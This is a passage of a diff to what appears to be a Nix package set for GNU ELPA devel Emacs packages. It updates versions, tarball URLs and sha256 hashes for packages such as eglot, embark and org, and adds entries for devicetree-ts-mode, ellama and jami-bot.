"2.19.1.0.20230801.124436"; + version = "2.19.1.0.20240123.123337"; src = fetchurl { - url = "https://elpa.gnu.org/devel/dash-2.19.1.0.20230801.124436.tar"; - sha256 = "009067xiyvh647plqbp7rbsj071rar8609px3byh93649x1k0f2v"; + url = "https://elpa.gnu.org/devel/dash-2.19.1.0.20240123.123337.tar"; + sha256 = "1iq6bnfn9ay67j6b6yapidsxmh3vg3zyji3fzqdvb84m0f1cl2i7"; }; packageRequires = [ emacs ]; meta = { @@ -1305,10 +1352,10 @@ elpaBuild { pname = "debbugs"; ename = "debbugs"; - version = "0.37.0.20231029.152335"; + version = "0.38.0.20240116.140137"; src = fetchurl { - url = "https://elpa.gnu.org/devel/debbugs-0.37.0.20231029.152335.tar"; - sha256 = "0i2jbns27cfrlkyq3rszqkg6vqbw9r2pq2w9yxcyj60v0hq0ww53"; + url = "https://elpa.gnu.org/devel/debbugs-0.38.0.20240116.140137.tar"; + sha256 = "0i3cdwnahsjyxn1dpp2dkxn5pqd8mpy9rbvali0cicmf82gg229w"; }; packageRequires = [ emacs soap-client ]; meta = { @@ -1335,10 +1382,10 @@ elpaBuild { pname = "denote"; ename = "denote"; - version = "2.1.0.0.20231115.111152"; + version = "2.2.4.0.20240129.51523"; src = fetchurl { - url = "https://elpa.gnu.org/devel/denote-2.1.0.0.20231115.111152.tar"; - sha256 = "0mp57k3z1gyc21lj010yi9nb3qpqd6yirysf9ljcy9h5bxnqafmh"; + url = "https://elpa.gnu.org/devel/denote-2.2.4.0.20240129.51523.tar"; + sha256 = "01p1r1igbx5kszzdq552v79hc7g36khlma40w2davyiayq6izx4y"; }; packageRequires = [ emacs ]; meta = { @@ -1387,10 +1434,10 @@ elpaBuild { pname = "devdocs"; ename = "devdocs"; - version = "0.5.0.20230220.204256"; + version = "0.5.0.20231127.190545"; src = fetchurl { - url = "https://elpa.gnu.org/devel/devdocs-0.5.0.20230220.204256.tar"; - sha256 = "19vjsvyikyli7f367gh6razvdwgsdvjxy6sfywk272q11wy1imcy"; + url = "https://elpa.gnu.org/devel/devdocs-0.5.0.20231127.190545.tar"; + sha256 = "19w6fdw6j3qpmm88nymym3h012yi6mc22bdzm6pr4m39d8m4qbqx"; }; packageRequires = [ emacs ]; meta = { @@ -1398,6 +1445,24 @@ license = lib.licenses.free; }; }) {}; + devicetree-ts-mode = callPackage ({ elpaBuild + , emacs + , fetchurl + , lib }: + elpaBuild { + pname = "devicetree-ts-mode"; + ename = "devicetree-ts-mode"; + version = "0.3.0.20240117.132538"; + src = fetchurl { + url = "https://elpa.gnu.org/devel/devicetree-ts-mode-0.3.0.20240117.132538.tar"; + sha256 = "0zn2fb2lbfizfas5silkahbmrcf508x10746amw79a7mfwap2x90"; + }; + packageRequires = [ emacs ]; + meta = { + homepage = "https://elpa.gnu.org/packages/devicetree-ts-mode.html"; + license = lib.licenses.free; + }; + }) {}; dict-tree = callPackage ({ elpaBuild , emacs , fetchurl @@ -1419,18 +1484,14 @@ license = lib.licenses.free; }; }) {}; - diff-hl = callPackage ({ cl-lib ? null - , elpaBuild - , emacs - , fetchurl - , lib }: + diff-hl = callPackage ({ cl-lib ? null, elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "diff-hl"; ename = "diff-hl"; - version = "1.9.2.0.20230807.151654"; + version = "1.9.2.0.20240127.3432"; src = fetchurl { - url = "https://elpa.gnu.org/devel/diff-hl-1.9.2.0.20230807.151654.tar"; - sha256 = "0zzggv9h2943vm3xk1622fgksmczckmckxckgkh58l4wl9zdqm19"; + url = "https://elpa.gnu.org/devel/diff-hl-1.9.2.0.20240127.3432.tar"; + sha256 = "0i7dyl8x1mv0jk8pr5w133m0rvxqqk0dm8sfszg8azg9y0ihsigf"; }; packageRequires = [ cl-lib emacs ]; meta = { @@ -1530,10 +1591,10 @@ elpaBuild { pname = "dired-preview"; ename = "dired-preview"; - version = "0.1.1.0.20231005.130135"; + version = "0.1.1.0.20240117.24241"; src = fetchurl { - url = "https://elpa.gnu.org/devel/dired-preview-0.1.1.0.20231005.130135.tar"; - sha256 = "1rlcd0sbvgblgkaf0mp5xyci1cwbnd3ch6vwldk0jgb303j7ny9p"; + url = "https://elpa.gnu.org/devel/dired-preview-0.1.1.0.20240117.24241.tar"; + sha256 = "1npf39wmkfknij89qphx9qmpycr59x4sm57575ys2b50ca2bk49w"; }; packageRequires = [ emacs ]; meta = { @@ -1641,10 +1702,10 @@ elpaBuild { pname = "drepl"; ename = "drepl"; - version = "0.1.0.20231112.180047"; + version = "0.1.0.20231123.162851"; src = fetchurl { - url = "https://elpa.gnu.org/devel/drepl-0.1.0.20231112.180047.tar"; - sha256 = "09s55hfy11y7v1d2l6nggz8b27mrsvqabb5xwpipnnynkmif2q2q"; + url = "https://elpa.gnu.org/devel/drepl-0.1.0.20231123.162851.tar"; + sha256 = "10b5xk30vm5d7n3vzv0rafvbqwx4y5l9fhjrrgxh3j57z4v8lw0k"; }; packageRequires = [ comint-mime emacs ]; meta = { @@ -1707,10 +1768,10 @@ elpaBuild { pname = "ebdb"; ename = "ebdb"; - version = "0.8.18.0.20231023.175242"; + version = "0.8.22.0.20240117.72338"; src = fetchurl { - url = "https://elpa.gnu.org/devel/ebdb-0.8.18.0.20231023.175242.tar"; - sha256 = "0lxb9isbg6whwcfi8gjmggi4aa4ri6b4mx4xiljzwkmrcv3y5q76"; + url = "https://elpa.gnu.org/devel/ebdb-0.8.22.0.20240117.72338.tar"; + sha256 = "0x7kccnwka9ajbc21mwli2x00ysh3gzadwrjf89aq7xy8ixkx56f"; }; packageRequires = [ emacs seq ]; meta = { @@ -1775,10 +1836,10 @@ elpaBuild { pname = "eev"; ename = "eev"; - version = "20230127.0.20231106.221153"; + version = "20240115.0.20240201.101218"; src = fetchurl { - url = "https://elpa.gnu.org/devel/eev-20230127.0.20231106.221153.tar"; - sha256 = "0labf7shjyv5v5rakkgra8338k9y5ads82ziqracklgj5p39gakf"; + url = "https://elpa.gnu.org/devel/eev-20240115.0.20240201.101218.tar"; + sha256 = "0j423cflngmrvzrlvlm3j4k25niyjpxyyxh57s9h862ipk0lpy69"; }; packageRequires = [ emacs ]; meta = { @@ -1793,10 +1854,10 @@ elpaBuild { pname = "ef-themes"; ename = "ef-themes"; - version = "1.4.0.0.20231031.71401"; + version = "1.5.0.0.20240117.24532"; src = fetchurl { - url = "https://elpa.gnu.org/devel/ef-themes-1.4.0.0.20231031.71401.tar"; - sha256 = "02yrb6cv0l6k30xyd8wz0jjr4cy66p9limcrmkm52q1k7l0dq3za"; + url = "https://elpa.gnu.org/devel/ef-themes-1.5.0.0.20240117.24532.tar"; + sha256 = "02i4z2pqfivpabdck83qvz2baz1r9bkkv3929v36k59bvz3vvvyj"; }; packageRequires = [ emacs ]; meta = { @@ -1818,10 +1879,10 @@ elpaBuild { pname = "eglot"; ename = "eglot"; - version = "1.15.0.20231115.41203"; + version = "1.17.0.20240203.64953"; src = fetchurl { - url = "https://elpa.gnu.org/devel/eglot-1.15.0.20231115.41203.tar"; - sha256 = "0xybf9czzkdpv94qsbmq725scmjjkm4gwn74ffa8r99a0i1w2nki"; + url = "https://elpa.gnu.org/devel/eglot-1.17.0.20240203.64953.tar"; + sha256 = "0z065558906rm9zm0q1ygr1w5jpwprk9fylkdm81wnbv8jzg86qp"; }; packageRequires = [ eldoc @@ -1862,10 +1923,10 @@ elpaBuild { pname = "eldoc"; ename = "eldoc"; - version = "1.14.0.0.20231016.70239"; + version = "1.15.0.0.20240120.60021"; src = fetchurl { - url = "https://elpa.gnu.org/devel/eldoc-1.14.0.0.20231016.70239.tar"; - sha256 = "0rh009rw5682a7mdzli7s8r434mwacpxi7lz2aacsm1wmnz2g0g2"; + url = "https://elpa.gnu.org/devel/eldoc-1.15.0.0.20240120.60021.tar"; + sha256 = "0jn2n6xv3bbgqlhj2s0gx4njy007wgx2d0g30rhmsswf39w4a041"; }; packageRequires = [ emacs ]; meta = { @@ -1907,6 +1968,27 @@ license = lib.licenses.free; }; }) {}; + ellama = callPackage ({ dash + , elpaBuild + , emacs + , fetchurl + , lib + , llm + , spinner }: + elpaBuild { + pname = "ellama"; + ename = "ellama"; + version = "0.7.4.0.20240203.195859"; + src = fetchurl { + url = "https://elpa.gnu.org/devel/ellama-0.7.4.0.20240203.195859.tar"; + sha256 = "10h44skw358glzi9z6k5344snxl8gfayplqp1qgsqry221hj94h2"; + }; + packageRequires = [ dash emacs llm spinner ]; + meta = { + homepage = "https://elpa.gnu.org/packages/ellama.html"; + license = lib.licenses.free; + }; + }) {}; emacs-gc-stats = callPackage ({ elpaBuild , emacs , fetchurl @@ -1914,10 +1996,10 @@ elpaBuild { pname = "emacs-gc-stats"; ename = "emacs-gc-stats"; - version = "1.4.1.0.20230721.81431"; + version = "1.4.2.0.20231206.152254"; src = fetchurl { - url = "https://elpa.gnu.org/devel/emacs-gc-stats-1.4.1.0.20230721.81431.tar"; - sha256 = "044q2xviir38m467fs22mfx5p0s42dp7758fikwfqawqcsggr7hp"; + url = "https://elpa.gnu.org/devel/emacs-gc-stats-1.4.2.0.20231206.152254.tar"; + sha256 = "047bvpm3sbikr31z3kv3z5fb02vpmrd98qv2zypxdx9rk5yid3pb"; }; packageRequires = [ emacs ]; meta = { @@ -1929,10 +2011,10 @@ elpaBuild { pname = "embark"; ename = "embark"; - version = "0.23.0.20231112.53804"; + version = "1.0.0.20240131.64817"; src = fetchurl { - url = "https://elpa.gnu.org/devel/embark-0.23.0.20231112.53804.tar"; - sha256 = "056kgr14msd6fhzwpdazzaxzmn65wm6qp59z22l5ykpr8awl4jxi"; + url = "https://elpa.gnu.org/devel/embark-1.0.0.20240131.64817.tar"; + sha256 = "03n2dxj78lgddpxqqsbsprxjh1c2j6ggr5r7271l2d4pal8aab7q"; }; packageRequires = [ compat emacs ]; meta = { @@ -1940,7 +2022,8 @@ license = lib.licenses.free; }; }) {}; - embark-consult = callPackage ({ consult + embark-consult = callPackage ({ compat + , consult , elpaBuild , emacs , embark @@ -1949,12 +2032,12 @@ elpaBuild { pname = "embark-consult"; ename = "embark-consult"; - version = "0.8.0.20231112.53804"; + version = "1.0.0.20240131.64817"; src = fetchurl { - url = "https://elpa.gnu.org/devel/embark-consult-0.8.0.20231112.53804.tar"; - sha256 = "1fxk8hfid2ii912can7b1gp8fzkq31y1cfi53n9mw6p0nj26c1fh"; + url = "https://elpa.gnu.org/devel/embark-consult-1.0.0.20240131.64817.tar"; + sha256 = "0i48i3f8sp366vj1pj07kfz8fxz9ysy37pfnv5ciglnh152bqyzv"; }; - packageRequires = [ consult emacs embark ]; + packageRequires = [ compat consult emacs embark ]; meta = { homepage = "https://elpa.gnu.org/packages/embark-consult.html"; license = lib.licenses.free; @@ -1974,10 +2057,10 @@ elpaBuild { pname = "ement"; ename = "ement"; - version = "0.14pre0.20231111.212243"; + version = "0.15pre0.20240126.232546"; src = fetchurl { - url = "https://elpa.gnu.org/devel/ement-0.14pre0.20231111.212243.tar"; - sha256 = "13xd7m5pigfvqnrxqr40dg9139djb0m9l3p7scvi0fi05247kf5l"; + url = "https://elpa.gnu.org/devel/ement-0.15pre0.20240126.232546.tar"; + sha256 = "0hs3q51gda0ifclffm7dr2l4r6s5bqlz4pwivd6ya1z82fidpw5w"; }; packageRequires = [ emacs @@ -2003,10 +2086,10 @@ elpaBuild { pname = "emms"; ename = "emms"; - version = "16.0.20231110.185602"; + version = "18.0.20240202.162234"; src = fetchurl { - url = "https://elpa.gnu.org/devel/emms-16.0.20231110.185602.tar"; - sha256 = "114dsyncfcgrxjypf475n5kabcmm08szq4sa2grqv5gcm9l63qwr"; + url = "https://elpa.gnu.org/devel/emms-18.0.20240202.162234.tar"; + sha256 = "0s6dhbzmhi50ls5rhn37sfa8l1k8qg3bng3dj0xa99psgrpn3p6v"; }; packageRequires = [ cl-lib nadvice seq ]; meta = { @@ -2072,10 +2155,10 @@ elpaBuild { pname = "erc"; ename = "erc"; - version = "5.6snapshot0.20231112.203749"; + version = "5.6snapshot0.20240202.170821"; src = fetchurl { - url = "https://elpa.gnu.org/devel/erc-5.6snapshot0.20231112.203749.tar"; - sha256 = "1zag35hnzc72gbjr00ljfz803z8rmz8qhyxxvcxaia769vhmh5j8"; + url = "https://elpa.gnu.org/devel/erc-5.6snapshot0.20240202.170821.tar"; + sha256 = "00x0k4c7caglkwsa2ylg8ybvish73j4r9pw1flsjrk4gq2f5xlk3"; }; packageRequires = [ compat emacs ]; meta = { @@ -2092,10 +2175,10 @@ elpaBuild { pname = "ergoemacs-mode"; ename = "ergoemacs-mode"; - version = "5.16.10.12.0.20230207.95118"; + version = "5.16.10.12.0.20240129.80712"; src = fetchurl { - url = "https://elpa.gnu.org/devel/ergoemacs-mode-5.16.10.12.0.20230207.95118.tar"; - sha256 = "1gf8mn2g453kwgibpawj6gjmd707p33lfkx6dq9wba66zh4cgp4a"; + url = "https://elpa.gnu.org/devel/ergoemacs-mode-5.16.10.12.0.20240129.80712.tar"; + sha256 = "14ydcz8mhq9cy1ivxdyjslh83lxigqcqw8nb1f22g9ksxxxsz9fr"; }; packageRequires = [ cl-lib emacs nadvice ]; meta = { @@ -2103,17 +2186,14 @@ license = lib.licenses.free; }; }) {}; - ess = callPackage ({ elpaBuild - , emacs - , fetchurl - , lib }: + ess = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "ess"; ename = "ess"; - version = "18.10.3snapshot0.20230807.142202"; + version = "24.1.1.0.20240131.104105"; src = fetchurl { - url = "https://elpa.gnu.org/devel/ess-18.10.3snapshot0.20230807.142202.tar"; - sha256 = "0fcshc4smb3dj47rbnz21zdwxikhj1al3nism17sxchmfxx3x2sb"; + url = "https://elpa.gnu.org/devel/ess-24.1.1.0.20240131.104105.tar"; + sha256 = "0ky9n9kdqs4gsmwl3ah2lnw2qrmimrzfip1axrlbbk92n5dg6cvi"; }; packageRequires = [ emacs ]; meta = { @@ -2160,10 +2240,10 @@ elpaBuild { pname = "expand-region"; ename = "expand-region"; - version = "1.0.0.0.20231020.62055"; + version = "1.0.0.0.20240119.103925"; src = fetchurl { - url = "https://elpa.gnu.org/devel/expand-region-1.0.0.0.20231020.62055.tar"; - sha256 = "15z23yil8jnpf8xgg9ham1r2sggvbshcxz9d380dd0ainp32n3ll"; + url = "https://elpa.gnu.org/devel/expand-region-1.0.0.0.20240119.103925.tar"; + sha256 = "147zh74zjzq8qwmrsdjikkiaky7lagjf4jim2mj1rf35lw5z1m5z"; }; packageRequires = [ emacs ]; meta = { @@ -2192,10 +2272,10 @@ elpaBuild { pname = "external-completion"; ename = "external-completion"; - version = "0.1.0.20230930.220905"; + version = "0.1.0.20240102.22814"; src = fetchurl { - url = "https://elpa.gnu.org/devel/external-completion-0.1.0.20230930.220905.tar"; - sha256 = "1pipmg4j36cb7qp1jrw5hivwmsiic4pgvx9ahb9hyjwb110m3h52"; + url = "https://elpa.gnu.org/devel/external-completion-0.1.0.20240102.22814.tar"; + sha256 = "0azy67n2lb9lcmrcz1k0z8gpx32w8g5xcz9ly73yh5kdfb83227p"; }; packageRequires = []; meta = { @@ -2203,16 +2283,16 @@ license = lib.licenses.free; }; }) {}; - exwm = callPackage ({ elpaBuild, fetchurl, lib, xelb }: + exwm = callPackage ({ elpaBuild, emacs, fetchurl, lib, xelb }: elpaBuild { pname = "exwm"; ename = "exwm"; - version = "0.28.0.20231006.0"; + version = "0.28.0.20240124.50533"; src = fetchurl { - url = "https://elpa.gnu.org/devel/exwm-0.28.0.20231006.0.tar"; - sha256 = "1b7dpf6ahc76k22mdwvwdx72pm8z47l3bi050r12nd8vmbgmy0rh"; + url = "https://elpa.gnu.org/devel/exwm-0.28.0.20240124.50533.tar"; + sha256 = "1cqni0nhf9r0pr2c56c6xxb83vdgy2jnljr683fv02sari188irb"; }; - packageRequires = [ xelb ]; + packageRequires = [ emacs xelb ]; meta = { homepage = "https://elpa.gnu.org/packages/exwm.html"; license = lib.licenses.free; @@ -2314,10 +2394,10 @@ elpaBuild { pname = "flymake"; ename = "flymake"; - version = "1.3.7.0.20231026.132104"; + version = "1.3.7.0.20240124.125733"; src = fetchurl { - url = "https://elpa.gnu.org/devel/flymake-1.3.7.0.20231026.132104.tar"; - sha256 = "0xk42bz63156vnkwxk743ln1w0zjs7yjayy9l2a97mynnzwa0knh"; + url = "https://elpa.gnu.org/devel/flymake-1.3.7.0.20240124.125733.tar"; + sha256 = "05a49cr6j4jhs48z1qpr78gswq1hrc1cbrjqk5d9ssyw9blm5zdp"; }; packageRequires = [ eldoc emacs project ]; meta = { @@ -2369,10 +2449,10 @@ elpaBuild { pname = "fontaine"; ename = "fontaine"; - version = "1.0.0.0.20231026.83630"; + version = "1.0.0.0.20240117.24716"; src = fetchurl { - url = "https://elpa.gnu.org/devel/fontaine-1.0.0.0.20231026.83630.tar"; - sha256 = "0y02wj5m1xj7ja57rj42jhdjvzy7rsdk3vkdmaay7y4bh4dd7vnl"; + url = "https://elpa.gnu.org/devel/fontaine-1.0.0.0.20240117.24716.tar"; + sha256 = "15m2d0q2imqjlhr5xhmmvmrir3s8ickywmziqp8lxhc5k4q40h93"; }; packageRequires = [ emacs ]; meta = { @@ -2701,10 +2781,10 @@ elpaBuild { pname = "greader"; ename = "greader"; - version = "0.6.0.0.20231113.71128"; + version = "0.8.2.0.20240131.45308"; src = fetchurl { - url = "https://elpa.gnu.org/devel/greader-0.6.0.0.20231113.71128.tar"; - sha256 = "19aj5bp72ic2j9fv4lygnpj01bl89ifcw4s75lqasff60mlv0320"; + url = "https://elpa.gnu.org/devel/greader-0.8.2.0.20240131.45308.tar"; + sha256 = "0x5nvnrdwb3lbfffriyjfw5c7y2a5wk9xwykb7pqs9asqwcpzvrf"; }; packageRequires = [ emacs ]; meta = { @@ -2734,10 +2814,10 @@ elpaBuild { pname = "gtags-mode"; ename = "gtags-mode"; - version = "1.0.0.20221205.52414"; + version = "1.0.0.20240124.174821"; src = fetchurl { - url = "https://elpa.gnu.org/devel/gtags-mode-1.0.0.20221205.52414.tar"; - sha256 = "0y6dsyrm91yb63bmm6cpjzffq4314saqfryz790h8jm19x5nc4m2"; + url = "https://elpa.gnu.org/devel/gtags-mode-1.0.0.20240124.174821.tar"; + sha256 = "0j8i71z95y1crnfbcdpnrcwnfvpgcarvq1dqnmj7ic3fz40hd711"; }; packageRequires = [ emacs ]; meta = { @@ -2887,10 +2967,10 @@ elpaBuild { pname = "hyperbole"; ename = "hyperbole"; - version = "8.0.1pre0.20231106.194732"; + version = "8.0.1pre0.20231210.205257"; src = fetchurl { - url = "https://elpa.gnu.org/devel/hyperbole-8.0.1pre0.20231106.194732.tar"; - sha256 = "02d4r3w6angwjw2wr192gkgwyzfb3vszdsb18baziqbwq2xh5cch"; + url = "https://elpa.gnu.org/devel/hyperbole-8.0.1pre0.20231210.205257.tar"; + sha256 = "14fbksn66l1z65dgfysx61zwxv0rwx8gz89swpfyjs3psc3mqrni"; }; packageRequires = [ emacs ]; meta = { @@ -3076,6 +3156,24 @@ license = lib.licenses.free; }; }) {}; + jami-bot = callPackage ({ elpaBuild + , emacs + , fetchurl + , lib }: + elpaBuild { + pname = "jami-bot"; + ename = "jami-bot"; + version = "0.0.4.0.20240203.101753"; + src = fetchurl { + url = "https://elpa.gnu.org/devel/jami-bot-0.0.4.0.20240203.101753.tar"; + sha256 = "0c5lf8h8102anr6hqw6j58k7pxj046abaxfigp49snapapk2h6sv"; + }; + packageRequires = [ emacs ]; + meta = { + homepage = "https://elpa.gnu.org/packages/jami-bot.html"; + license = lib.licenses.free; + }; + }) {}; jarchive = callPackage ({ elpaBuild , emacs , fetchurl @@ -3131,10 +3229,10 @@ elpaBuild { pname = "jinx"; ename = "jinx"; - version = "0.9.0.20231111.85046"; + version = "1.2.0.20240129.152453"; src = fetchurl { - url = "https://elpa.gnu.org/devel/jinx-0.9.0.20231111.85046.tar"; - sha256 = "1dp2sclzrr5918n2zjzyxhxcf3sd393a3a4xr4c8wdi2wdpmn1vs"; + url = "https://elpa.gnu.org/devel/jinx-1.2.0.20240129.152453.tar"; + sha256 = "0cqykfazzrjxkxp4fldff5kf9m3him8mbq0llqr9zan4n8rkw0yi"; }; packageRequires = [ compat emacs ]; meta = { @@ -3169,10 +3267,10 @@ elpaBuild { pname = "js2-mode"; ename = "js2-mode"; - version = "20230408.0.20230628.23819"; + version = "20231224.0.20231225.115039"; src = fetchurl { - url = "https://elpa.gnu.org/devel/js2-mode-20230408.0.20230628.23819.tar"; - sha256 = "1yr3nyy28wwvmrbm3zl6hvwzja1qspvw92jzddydgjdws1xwwmfc"; + url = "https://elpa.gnu.org/devel/js2-mode-20231224.0.20231225.115039.tar"; + sha256 = "0vgd6gf233y6q5xj169pavz4ywaywbbz5grv4y4xb7p3r72sg851"; }; packageRequires = [ cl-lib emacs ]; meta = { @@ -3202,10 +3300,10 @@ elpaBuild { pname = "jsonrpc"; ename = "jsonrpc"; - version = "1.0.17.0.20230729.112319"; + version = "1.0.24.0.20240121.142806"; src = fetchurl { - url = "https://elpa.gnu.org/devel/jsonrpc-1.0.17.0.20230729.112319.tar"; - sha256 = "0id8pih1svkp1ipnb92kh2avmb8cwrldxgj4b0kli4bi2q9i58x6"; + url = "https://elpa.gnu.org/devel/jsonrpc-1.0.24.0.20240121.142806.tar"; + sha256 = "0fx1g76igs1bwcj6v3yxalwf57ggzvv1ms4gqid6ari6r3jp6c25"; }; packageRequires = [ emacs ]; meta = { @@ -3236,10 +3334,10 @@ elpaBuild { pname = "kind-icon"; ename = "kind-icon"; - version = "0.2.0.0.20230926.75840"; + version = "0.2.2.0.20240106.145829"; src = fetchurl { - url = "https://elpa.gnu.org/devel/kind-icon-0.2.0.0.20230926.75840.tar"; - sha256 = "1z6c0bgkyn9qrbz0piq8wwxrcynxhzrwmlbz01d685r9bk09rvh4"; + url = "https://elpa.gnu.org/devel/kind-icon-0.2.2.0.20240106.145829.tar"; + sha256 = "16b0ilf3hqqlr9blc6vl1yc1y83hmfnxm0isl2f8rff29hw0k6y5"; }; packageRequires = [ emacs svg-lib ]; meta = { @@ -3334,10 +3432,10 @@ elpaBuild { pname = "let-alist"; ename = "let-alist"; - version = "1.0.6.0.20230930.233523"; + version = "1.0.6.0.20240102.14710"; src = fetchurl { - url = "https://elpa.gnu.org/devel/let-alist-1.0.6.0.20230930.233523.tar"; - sha256 = "1j802kkxf4rhwjnnldv4brgjj4mmwlfyqmz065gv6a72y38i5lab"; + url = "https://elpa.gnu.org/devel/let-alist-1.0.6.0.20240102.14710.tar"; + sha256 = "14iz361gkd307g6zv4syxmy5kfaimrha7a1jhd6cjbf1gzfrnff6"; }; packageRequires = [ emacs ]; meta = { @@ -3364,10 +3462,10 @@ elpaBuild { pname = "lin"; ename = "lin"; - version = "1.0.0.0.20230617.191618"; + version = "1.0.0.0.20240117.24849"; src = fetchurl { - url = "https://elpa.gnu.org/devel/lin-1.0.0.0.20230617.191618.tar"; - sha256 = "1q3gz7i83v5v6y5plf8z1llq9r6bdjaj1ml6vl70z3jribrib8ga"; + url = "https://elpa.gnu.org/devel/lin-1.0.0.0.20240117.24849.tar"; + sha256 = "06ibnd4r5f6xw0qk8kk2a67dalb8a6yiy2fkvhi4pb59sw9gwrk0"; }; packageRequires = [ emacs ]; meta = { @@ -3379,10 +3477,10 @@ elpaBuild { pname = "llm"; ename = "llm"; - version = "0.5.2.0.20231110.3036"; + version = "0.9.0.0.20240203.150426"; src = fetchurl { - url = "https://elpa.gnu.org/devel/llm-0.5.2.0.20231110.3036.tar"; - sha256 = "0ai405k9lx0rmlawfmldphjpwrrpahyawhzzam0500jp6x02ppkg"; + url = "https://elpa.gnu.org/devel/llm-0.9.0.0.20240203.150426.tar"; + sha256 = "0wi166lahqlhi2ckr0nbpv1252di0spqf2f6y9x3y6yb1x5wpllm"; }; packageRequires = [ emacs ]; meta = { @@ -3476,10 +3574,10 @@ elpaBuild { pname = "logos"; ename = "logos"; - version = "1.1.1.0.20230915.41852"; + version = "1.1.1.0.20240117.25050"; src = fetchurl { - url = "https://elpa.gnu.org/devel/logos-1.1.1.0.20230915.41852.tar"; - sha256 = "1p7bz3p0ccp74pi4wbkz813zgkxz1lr9hxxfrnipgh120a72g3y8"; + url = "https://elpa.gnu.org/devel/logos-1.1.1.0.20240117.25050.tar"; + sha256 = "10l1v429am4x65hk4f5sghql9vd5w1z163ld7za2sd9qv18dxf4z"; }; packageRequires = [ emacs ]; meta = { @@ -3521,10 +3619,10 @@ elpaBuild { pname = "map"; ename = "map"; - version = "3.3.1.0.20230930.220905"; + version = "3.3.1.0.20240102.22814"; src = fetchurl { - url = "https://elpa.gnu.org/devel/map-3.3.1.0.20230930.220905.tar"; - sha256 = "0f9yyxb874qj66vwg63s8mah63pgg24ymz0japywbs9bhws892rj"; + url = "https://elpa.gnu.org/devel/map-3.3.1.0.20240102.22814.tar"; + sha256 = "1ymd4viwqpq5nqb6x53d2kvmicxf66jb1f798siqacfwl09yb40l"; }; packageRequires = [ emacs ]; meta = { @@ -3540,10 +3638,10 @@ elpaBuild { pname = "marginalia"; ename = "marginalia"; - version = "1.3.0.20231028.90751"; + version = "1.5.0.20240105.70159"; src = fetchurl { - url = "https://elpa.gnu.org/devel/marginalia-1.3.0.20231028.90751.tar"; - sha256 = "05k37f3qjvm6kv7y6fa6g5z02irpifvl1as4allrxgn12408ydvh"; + url = "https://elpa.gnu.org/devel/marginalia-1.5.0.20240105.70159.tar"; + sha256 = "1x1n95scr1f6b3c6ymgi7hh7dl9z6ifiwgxyh29d657mn1sifxl9"; }; packageRequires = [ compat emacs ]; meta = { @@ -3589,10 +3687,10 @@ elpaBuild { pname = "mct"; ename = "mct"; - version = "1.0.0.0.20230925.50052"; + version = "1.0.0.0.20240117.25259"; src = fetchurl { - url = "https://elpa.gnu.org/devel/mct-1.0.0.0.20230925.50052.tar"; - sha256 = "1splcr5aq3dc80i4rkqyxnadjrx7xg44hgiwi1sj353gf6q90q8h"; + url = "https://elpa.gnu.org/devel/mct-1.0.0.0.20240117.25259.tar"; + sha256 = "0zfj99637h34iwhxiaqzlsgzq1kbppkrp3l5wv5iifwx84yxc3kr"; }; packageRequires = [ emacs ]; meta = { @@ -3738,10 +3836,10 @@ elpaBuild { pname = "modus-themes"; ename = "modus-themes"; - version = "4.3.0.0.20231115.130235"; + version = "4.3.0.0.20240203.61443"; src = fetchurl { - url = "https://elpa.gnu.org/devel/modus-themes-4.3.0.0.20231115.130235.tar"; - sha256 = "025iqd3c9kwrv1hwdr1szp1cl23bkf1vahad6nhx00x351rxv0r0"; + url = "https://elpa.gnu.org/devel/modus-themes-4.3.0.0.20240203.61443.tar"; + sha256 = "18w5dngxdz260wknp4byvlkw4yi3n1ygr7x7gmc3d9nnc8ij3jbz"; }; packageRequires = [ emacs ]; meta = { @@ -3892,10 +3990,10 @@ elpaBuild { pname = "nano-modeline"; ename = "nano-modeline"; - version = "1.0.1.0.20230712.92019"; + version = "1.0.1.0.20240120.114819"; src = fetchurl { - url = "https://elpa.gnu.org/devel/nano-modeline-1.0.1.0.20230712.92019.tar"; - sha256 = "10zq3zm8yv5gmi9kgw742zb52swzi09c4npvqjh31hmrzprvp4nn"; + url = "https://elpa.gnu.org/devel/nano-modeline-1.0.1.0.20240120.114819.tar"; + sha256 = "0m4zs3l3q077v0g1vp1z0kbddgb3cwvnd7i50f4ih9pjiymgjvkc"; }; packageRequires = [ emacs ]; meta = { @@ -3996,10 +4094,10 @@ elpaBuild { pname = "notmuch-indicator"; ename = "notmuch-indicator"; - version = "1.1.0.0.20231014.82644"; + version = "1.1.0.0.20240117.25556"; src = fetchurl { - url = "https://elpa.gnu.org/devel/notmuch-indicator-1.1.0.0.20231014.82644.tar"; - sha256 = "0ami3zpjjq7q191cylw44q72yspxd6i8gximgm4kqb0mplk4dd1w"; + url = "https://elpa.gnu.org/devel/notmuch-indicator-1.1.0.0.20240117.25556.tar"; + sha256 = "0vcpak68jggjwlwx9qjfp72hidh95lvrivlws1l5mmdcnynqjxyp"; }; packageRequires = [ emacs ]; meta = { @@ -4011,10 +4109,10 @@ elpaBuild { pname = "ntlm"; ename = "ntlm"; - version = "2.1.0.0.20230930.220905"; + version = "2.1.0.0.20240102.22814"; src = fetchurl { - url = "https://elpa.gnu.org/devel/ntlm-2.1.0.0.20230930.220905.tar"; - sha256 = "02599spadf9ddbs1krgygfyi0xzjrqxrk5kmyq5ghx3vi24ngkda"; + url = "https://elpa.gnu.org/devel/ntlm-2.1.0.0.20240102.22814.tar"; + sha256 = "0fxv4s5adajf9v8jg5i6w47xbm0v2qlvab8fa8jsnyi8ilxh1afc"; }; packageRequires = []; meta = { @@ -4172,10 +4270,10 @@ elpaBuild { pname = "org"; ename = "org"; - version = "9.7pre0.20231115.92033"; + version = "9.7pre0.20240203.145841"; src = fetchurl { - url = "https://elpa.gnu.org/devel/org-9.7pre0.20231115.92033.tar"; - sha256 = "18sbwnw57xp9ss78f3xva3jysdvzk0lcppr2g4qgb696fkglp6w1"; + url = "https://elpa.gnu.org/devel/org-9.7pre0.20240203.145841.tar"; + sha256 = "14c1yjpq50kfrkm8fas5rsw9irdiw29ndxi26y81hq30yhlb71qz"; }; packageRequires = [ emacs ]; meta = { @@ -4230,10 +4328,10 @@ elpaBuild { pname = "org-modern"; ename = "org-modern"; - version = "0.10.0.20231019.184309"; + version = "1.1.0.20240102.32915"; src = fetchurl { - url = "https://elpa.gnu.org/devel/org-modern-0.10.0.20231019.184309.tar"; - sha256 = "08mxrmhpqwdb5a9mpff5ld3m28j390k68pam2aalv07asppj9mz0"; + url = "https://elpa.gnu.org/devel/org-modern-1.1.0.20240102.32915.tar"; + sha256 = 